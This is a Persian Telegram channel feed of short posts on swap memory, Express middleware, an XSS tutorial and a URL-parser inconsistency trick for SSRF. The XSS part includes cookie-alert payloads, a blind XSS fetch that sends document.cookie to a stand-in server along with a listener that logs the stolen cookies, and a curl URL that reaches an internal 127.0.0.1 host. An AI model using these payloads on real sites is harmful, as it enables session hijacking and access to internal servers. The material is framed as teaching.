( ربطی به مبحث چنل نداره ولی دیدم این مبحث معماری کامپیوتر جذابه 🦦)
Swap (سواپ):
سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمیشوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل میکند. این یک روش برای مدیریت حافظه است و به سیستم اجازه میدهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق میافتد که Ram پر شود و به فضای بیشتری برای اجرای برنامهها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.
خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :
اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعهای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آنها دسترسی دارد یا از آنها استفاده میکند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده
و یه مسئله دیگه هم اینه که برخی از برنامهها به گونهای طراحی شدهاند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آنها در صورت کمبود RAM به شدت تحت تأثیر قرار میگیرد یا اصلاً اجرا نمیشن
خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامهها هنگام اجرا میتوانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن دادهها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo
Swap (سواپ):
سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمیشوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل میکند. این یک روش برای مدیریت حافظه است و به سیستم اجازه میدهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق میافتد که Ram پر شود و به فضای بیشتری برای اجرای برنامهها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.
خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :
اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعهای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آنها دسترسی دارد یا از آنها استفاده میکند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده
و یه مسئله دیگه هم اینه که برخی از برنامهها به گونهای طراحی شدهاند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آنها در صورت کمبود RAM به شدت تحت تأثیر قرار میگیرد یا اصلاً اجرا نمیشن
خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامهها هنگام اجرا میتوانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن دادهها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo
👍4🔥2
Forwarded from Linuxor ?
این سایته هم جالب بود چند هزار تا المنت برای ui توش میتونین پیدا کنین
https://uiverse.io/elements
🐧 @Linuxor ~ mouad_dadda
https://uiverse.io/elements
🐧 @Linuxor ~ mouad_dadda
🔥3
XSS : ( cross-site scripting )
یه آسیب پذیری امنیتی وب هس که ما یه کد script دلخواه تویه یه وب سایت inject کنیم . کدی که inject میکنیم رویه browser کاربر اجرا میشه .
حالا به دو صورت تقسیم میشه :
1- Normal XSS
2- DOM XSS
تویه Normal xss به خاطر render کردن کد های HTML اتفاق میوفته که میتونه خودش به دو قسمت : Reflected , Stored تقسیم بشه . و تویه DOM xss , رندر کردن کد های HTML تموم میشه و مثلا وفتی میخواد کد های js رو اجرا کنه که اون کد های js باعث تغییر صفحه یا DOM میشن که تویه اون فرآیند باعث به وجود اومدن xss میشه و این قسمت هم میتونه دو بخش Reflected و Stored داشته باشه .
حالا Reflected و Stored چیه ؟
وقتی که کد های inject شده ما ذخیره نشن مثلا توسط لینک های مخرب باعث بشه xss به وجود بیاد بهش میگن Reflected ولی وقتی کد ها تویه database ذخیره میشن مثلا وقتی که کامنت واسه یه پستی تویه یه وب سایتی مینویسین بهش میگن Stored .
یه سری از Vector های xss :
یه مثال از Reflected XSS با node js :
تویه این کد یه query از کاربر میگیره (q) و نتایج اون رو بهش نشون میده و تویه کد هیچ جایی ورودی رو با استفاده از توابعی مثل sanitizeHtml() امن نکرده . کاربر میتونه این payload رو استفاده کنه :
بعد اجرا این url برای کاربر cookie , نمایش داده میشه .
مثال برای Stored xss :
خب تویه این همینطور که میبینین comment ها یه جا ذخیره شده ( من واسه مثال تویه آرایه اوردم).
اگه attacker بیاد و چنین کامنتی اضافه کنه :
تویه دیتابیس اضافه میشه :
و حالا هر کاربری که وارد بحش کامنت ها بشه این payload براش اجرا میشه .
میشه با تابعی به اسم
برای DOM xss هم :
تویه این کد با توجه به پارامتری که به query میدیم صفحه سایت یا DOM عوض میشه .
مثلا اگه این url رو اجرا کنم :
تویه صفحه برای من Hello moha چاپ میشه .
حالا اگه این url رو اجرا کنم :
واسم cookie نمایش داده میشه .
البته یه نوع دیگه xss هم هس بهش Blind xss میگن . طبیعتا ( تا حالا ننوشته بودم طبیعتا 😂 ) ما نمیخوایم cookie رو فقط برای خود کاربر نمایش بدیم و میخوایم cookie کاربر رو به بدست بیاریم و بعد حالا باهاش هر کاری که کاربر میتونه انحام بده انجام بدیم ( مثلا بعد پیدا کردن xss بریم برای csrf یا اینکه چون sop ( same origin policy ) نمیزاره به دیتا ها دسترسی داشته باشیم میتونیم با xss بدون اینکه بخوایم به دیتا دسترسی داشته باشیم اون هارو تغییر بدیم مثلا پسوورد لاگین کاربر رو و ...) . حالا برای Blind باید از تکنیک out-of band استفاده کنیم که قبلا توضیح دادم راجبش .
کدش یه چنین چیزی میشه :
این میشه payload که وارد کردیم. حالا تویه حالت store یا reflected :
یه آسیب پذیری امنیتی وب هس که ما یه کد script دلخواه تویه یه وب سایت inject کنیم . کدی که inject میکنیم رویه browser کاربر اجرا میشه .
حالا به دو صورت تقسیم میشه :
1- Normal XSS
2- DOM XSS
تویه Normal xss به خاطر render کردن کد های HTML اتفاق میوفته که میتونه خودش به دو قسمت : Reflected , Stored تقسیم بشه . و تویه DOM xss , رندر کردن کد های HTML تموم میشه و مثلا وفتی میخواد کد های js رو اجرا کنه که اون کد های js باعث تغییر صفحه یا DOM میشن که تویه اون فرآیند باعث به وجود اومدن xss میشه و این قسمت هم میتونه دو بخش Reflected و Stored داشته باشه .
حالا Reflected و Stored چیه ؟
وقتی که کد های inject شده ما ذخیره نشن مثلا توسط لینک های مخرب باعث بشه xss به وجود بیاد بهش میگن Reflected ولی وقتی کد ها تویه database ذخیره میشن مثلا وقتی که کامنت واسه یه پستی تویه یه وب سایتی مینویسین بهش میگن Stored .
یه سری از Vector های xss :
<script>alert(document.cookie)</script>
<img src=x onerror=alert(document.cookie)>
<svg onerror=alert(document.cookie)>
یه مثال از Reflected XSS با node js :
const express = require('express');
const app = express();
app.get('/search', function(req, res) {
var searchTerm = req.query.q;
res.send('You searched for: ' + searchTerm);
});
app.listen(8080);تویه این کد یه query از کاربر میگیره (q) و نتایج اون رو بهش نشون میده و تویه کد هیچ جایی ورودی رو با استفاده از توابعی مثل sanitizeHtml() امن نکرده . کاربر میتونه این payload رو استفاده کنه :
http://site.com/search?q=<script>alert(document.cookie)</script>
بعد اجرا این url برای کاربر cookie , نمایش داده میشه .
مثال برای Stored xss :
const express = require('express');
const app = express();
const PORT = 8081;
// store comment !!
let comments = ['Great product!', 'I love it!', 'Could be better.'];
// show comment
app.get('/comments', async (req, res) => {
let html = '<ul>';
for (const comment of comments) {
html += `<li>${comment}</li>`;
}
html += '</ul>';
res.send(html);
});
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});خب تویه این همینطور که میبینین comment ها یه جا ذخیره شده ( من واسه مثال تویه آرایه اوردم).
اگه attacker بیاد و چنین کامنتی اضافه کنه :
<script>alert(document.cookie)</script>
تویه دیتابیس اضافه میشه :
let comments = ['Great product!', 'I love it!', 'Could be better.' , <script>alert(document.cookie)</script>];
و حالا هر کاربری که وارد بحش کامنت ها بشه این payload براش اجرا میشه .
میشه با تابعی به اسم
sanitizeHTML() ورودی رو امن کرد.برای DOM xss هم :
<!DOCTYPE html>
<html>
<head>
<title>DOM xss</title>
</head>
<body>
<div id="test"></div>
<script>
const name = new URLSearchParams(window.location.search).get('name');
document.write("Hello, " + name);
</script>
</body>
</html>
تویه این کد با توجه به پارامتری که به query میدیم صفحه سایت یا DOM عوض میشه .
مثلا اگه این url رو اجرا کنم :
http://localhost:8082/DOM-xss.html/?name=moha
تویه صفحه برای من Hello moha چاپ میشه .
حالا اگه این url رو اجرا کنم :
http://localhost:8082/DOM-xss.html/?name=moha <script>alert(document.cookie)</script>
واسم cookie نمایش داده میشه .
البته یه نوع دیگه xss هم هس بهش Blind xss میگن . طبیعتا ( تا حالا ننوشته بودم طبیعتا 😂 ) ما نمیخوایم cookie رو فقط برای خود کاربر نمایش بدیم و میخوایم cookie کاربر رو به بدست بیاریم و بعد حالا باهاش هر کاری که کاربر میتونه انحام بده انجام بدیم ( مثلا بعد پیدا کردن xss بریم برای csrf یا اینکه چون sop ( same origin policy ) نمیزاره به دیتا ها دسترسی داشته باشیم میتونیم با xss بدون اینکه بخوایم به دیتا دسترسی داشته باشیم اون هارو تغییر بدیم مثلا پسوورد لاگین کاربر رو و ...) . حالا برای Blind باید از تکنیک out-of band استفاده کنیم که قبلا توضیح دادم راجبش .
کدش یه چنین چیزی میشه :
این میشه payload که وارد کردیم. حالا تویه حالت store یا reflected :
<script>
fetch('http://your-server.com/xss?cookie=' + document.cookie);
</script>
🔥5👍1👏1
/dev/null
XSS : ( cross-site scripting ) یه آسیب پذیری امنیتی وب هس که ما یه کد script دلخواه تویه یه وب سایت inject کنیم . کدی که inject میکنیم رویه browser کاربر اجرا میشه . حالا به دو صورت تقسیم میشه : 1- Normal XSS 2- DOM XSS تویه Normal xss به خاطر render…
و بعد وب سایت خودمون برای دریافت cookie :
(دیگه جا نمیشد همش با هم یه جا 😂🦦)
const express = require('express');
const app = express();
const PORT = 8083;
app.get('/xss', async (req, res) => {
const cookie = req.query.cookie;
console.log('Received cookie:', cookie);
res.send('Cookie received');
});
app.listen(PORT, () => {
console.log(`Server is running on http://localhost:${PORT}`);
});(دیگه جا نمیشد همش با هم یه جا 😂🦦)
🔥6👍1👏1
Forwarded from < CyberCesar />
اگه قرار باشه هر ترمت رو با یک کلمه خلاصه کنی، اون کلمه چیه؟
دوستان چنل دار جواب بدین چنلاتون
دوستان چنل دار جواب بدین چنلاتون
👍1
/dev/null
https://x.com/horizonbehind2/status/1868218750706872658?s=19
آقا این توییت ساده توضیح داده چطوری ساب vless رویه کلود فلر درست کنین ( رایگان)
Forwarded from Linuxor ?
خبر داغ : وی اس کد خبر رایگان شدن هوش مصنوعی Copilot رو برای وی اس کد داده
توی کد زدن خیلی خوب کمک میکنه توی این یکسالی که من غیر رایگانش رو استفاده میکردم عالی بود.
نحوه فعال سازی :
https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot
@Linuxor ~ Sezo
توی کد زدن خیلی خوب کمک میکنه توی این یکسالی که من غیر رایگانش رو استفاده میکردم عالی بود.
نحوه فعال سازی :
https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot
@Linuxor ~ Sezo
👏3
Linuxor ?
خبر داغ : وی اس کد خبر رایگان شدن هوش مصنوعی Copilot رو برای وی اس کد داده توی کد زدن خیلی خوب کمک میکنه توی این یکسالی که من غیر رایگانش رو استفاده میکردم عالی بود. نحوه فعال سازی : https://code.visualstudio.com/blogs/2024/12/18/free-github-copilot…
Visualstudio
Use chat in VS Code
Learn how to use chat in VS Code. Access different chat surfaces, send a request, add context, write effective prompts, and review AI-generated changes.
یه مبحثی هست به اسم Inconsistency
که بین checker function ها و library های ارسال کننده درخواست http اتفاق میوفته
و اون اینطوری هس که هم checker function ها امن هستن و هم library ها
ولی وقتی با هم کار میکنن آسیب پذیر میشن
مثلا تویه این URL:
ولی تویه این یکی :
کلا مهم نیس الان هاست چیه
مهم اینه که مثلا parse_url تویه php با curl هاست رو یه چیزی بگن ولی این طوری نیست
مثلا تویه :
ولی همین URL رو parse_url میگه google.com !
و اینطوری میشه وقتی curl میزنیم میتونیم میتونیم فایل x.php که تویه یه سرور داخلی هست و اصلا ای پی پابلیک نداره رو بهش دسترسی داشته باشیم.
که بین checker function ها و library های ارسال کننده درخواست http اتفاق میوفته
و اون اینطوری هس که هم checker function ها امن هستن و هم library ها
ولی وقتی با هم کار میکنن آسیب پذیر میشن
مثلا تویه این URL:
https://admin@site.com
username : admin
Host : site.com
ولی تویه این یکی :
https://site.com@admin.ir@moha.tld
What is Host?
کلا مهم نیس الان هاست چیه
مهم اینه که مثلا parse_url تویه php با curl هاست رو یه چیزی بگن ولی این طوری نیست
مثلا تویه :
curl -v http://user@127.0.0.1:80@www.google.com/x.php
Host = 127.0.0.1
ولی همین URL رو parse_url میگه google.com !
و اینطوری میشه وقتی curl میزنیم میتونیم میتونیم فایل x.php که تویه یه سرور داخلی هست و اصلا ای پی پابلیک نداره رو بهش دسترسی داشته باشیم.
👏4
/dev/null
یه مبحثی هست به اسم Inconsistency که بین checker function ها و library های ارسال کننده درخواست http اتفاق میوفته و اون اینطوری هس که هم checker function ها امن هستن و هم library ها ولی وقتی با هم کار میکنن آسیب پذیر میشن مثلا تویه این URL: https://admin@site.com…
FireShell Security Team
SunshineCTF - Search Box Writeup
Writeup of Search Box
👍2
IMG_20241223_230521_517.jpg
7.7 KB
نمیدونم چرا به captcha میخورم
نه اسکریپت ها روش جواب میده نه با ocr میتونم بخونمش🦦
نه اسکریپت ها روش جواب میده نه با ocr میتونم بخونمش🦦
دیدم این مبحث تویه node js جذابه 🦦❤️
در Node.js این ، Middleware به توابعی گفته میشود که در مسیر درخواست (request) و پاسخ (response) بین کلاینت و سرور قرار میگیرند و قادرند به درخواستهای HTTP پردازش کنند. این توابع معمولاً در فریمورکهایی مانند Express.js استفاده میشوند. Middlewareها به شما این امکان را میدهند که کدهای عمومی را که بر روی هر درخواست اجرا میشوند، به راحتی مدیریت کنید.ز آنها میتوان برای کارهایی مانند لاگ کردن، مدیریت ارور، اعتبارسنجی، و پردازش دادهها استفاده کرد.
هر Middleware به دو شیء اصلی دسترسی دارد:
خب مثالش کجاس ؟
ببین من یه قسمت برای profile کاربر ها دارم و باید طبق یه token بعد از login تایید هویت بشه و بعد وارد profile بشه
میتونه کدش این طوری باشه :
میتونیم هم یه Middleware بنویسیم که اگه جای دیگه نیاز به authentication داشتیم از اون استفاده کنیم :
و میتونیم با res.locals متغییر هایی که در midellware نوشتیم پاس بدیم به جاهایی که میخوایم استفاده کنیم :
در Node.js این ، Middleware به توابعی گفته میشود که در مسیر درخواست (request) و پاسخ (response) بین کلاینت و سرور قرار میگیرند و قادرند به درخواستهای HTTP پردازش کنند. این توابع معمولاً در فریمورکهایی مانند Express.js استفاده میشوند. Middlewareها به شما این امکان را میدهند که کدهای عمومی را که بر روی هر درخواست اجرا میشوند، به راحتی مدیریت کنید.ز آنها میتوان برای کارهایی مانند لاگ کردن، مدیریت ارور، اعتبارسنجی، و پردازش دادهها استفاده کرد.
هر Middleware به دو شیء اصلی دسترسی دارد:
req (درخواست) و res (پاسخ). همچنین میتواند از تابع next برای انتقال کنترل به Middleware بعدی استفاده کند. ( تعریف ChatGPT خلاصه ) خب مثالش کجاس ؟
ببین من یه قسمت برای profile کاربر ها دارم و باید طبق یه token بعد از login تایید هویت بشه و بعد وارد profile بشه
میتونه کدش این طوری باشه :
router.get('/profile', async (req, res) => {
const { token } = req.cookies;
const secretKey = 'your_secret_key';
if (token) {
try {
const decoded = jwt.verify(token, secretKey);
if (decoded) {
const user = await userModel.findOne({
where: {
email: decoded.email
}
});
if (user) {
return res.render('profile', { user: { name: user.firstName, email: user.email } });
} else {
return res.redirect('/auth/login');
}میتونیم هم یه Middleware بنویسیم که اگه جای دیگه نیاز به authentication داشتیم از اون استفاده کنیم :
// code midellware.js
const User = require('../user.model/information.user.model');
const jwt = require('jsonwebtoken');
const requireAuth = (req, res, next) => {
const secretKey = 'your_secret_key';
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, secretKey);
if (decoded) {
res.locals.decoded = decoded;
next();
} else {
res.redirect('/auth/login');
}
} catch (error) {
res.redirect('/auth/login');
}
} else {
res.redirect('/auth/login');
}
};
module.exports = {
requireAuth
};
و میتونیم با res.locals متغییر هایی که در midellware نوشتیم پاس بدیم به جاهایی که میخوایم استفاده کنیم :
router.get('/profile', requireAuth , async (req, res) => {
const user = await userModel.findOne({
where: {
email: res.locals.decoded.email
}
});
if (user) {
return res.render('profile', { user});
} else {
return res.redirect('/auth/login');
}})👍4💯1
import os
import base64
# Function to display the captcha image
def display_captcha(image_data):
with open("captcha.jpg", "wb") as f:
f.write(base64.b64decode(image_data.split(',')[1]))
os.system("open captcha.jpg")
if response.status_code != 400 or response.json().get("status") == 2001:
print("Captcha is required.")
captcha_url = "https://URL"
captcha_response = requests.get(captcha_url, headers=headers, verify=False)
print("Captcha generation response:", captcha_response.text)
if captcha_response.status_code == 200:
captcha_data = captcha_response.json()
captcha_image = captcha_data.get("image")
ref_id = captcha_data.get("ref_id")
# Display the captcha image
display_captcha(captcha_image)
# Prompt the user to solve the captcha
captcha_solution = input("Please solve the captcha and enter the result: ")
# Step 2: Send POST request login with captcha
login_data = {
"cellphone": cellphone,
"attestation": {
"method": "numeric",
"platform": "captcha"
},
"extra_methods": [],
"captcha": {
"client_id": client_id,
"solution": captcha_solution,
"ref_id": ref_id,
"type": "numeric"
}
}
login_response = requests.post(url, headers=headers, data=json.dumps(login_data), verify=False)
/dev/null
import os import base64 # Function to display the captcha image def display_captcha(image_data): with open("captcha.jpg", "wb") as f: f.write(base64.b64decode(image_data.split(',')[1])) os.system("open captcha.jpg") if response.status_code…
تویه این تارگت موقعی که لاگین میکردی یه captcha میخواس ( از نوع کاستوم بود ) که بعد اینکه اونو حل کردی یه otp token میفرستاد و داخل response یه access token میزاشت
تمام route هاشم با اون access token تأیید هویت میشد
( تویه request اون client_id رو میزاشتی یا نمیزاشتی فرقی نداشت 🦦)
تمام route هاشم با اون access token تأیید هویت میشد
( تویه request اون client_id رو میزاشتی یا نمیزاشتی فرقی نداشت 🦦)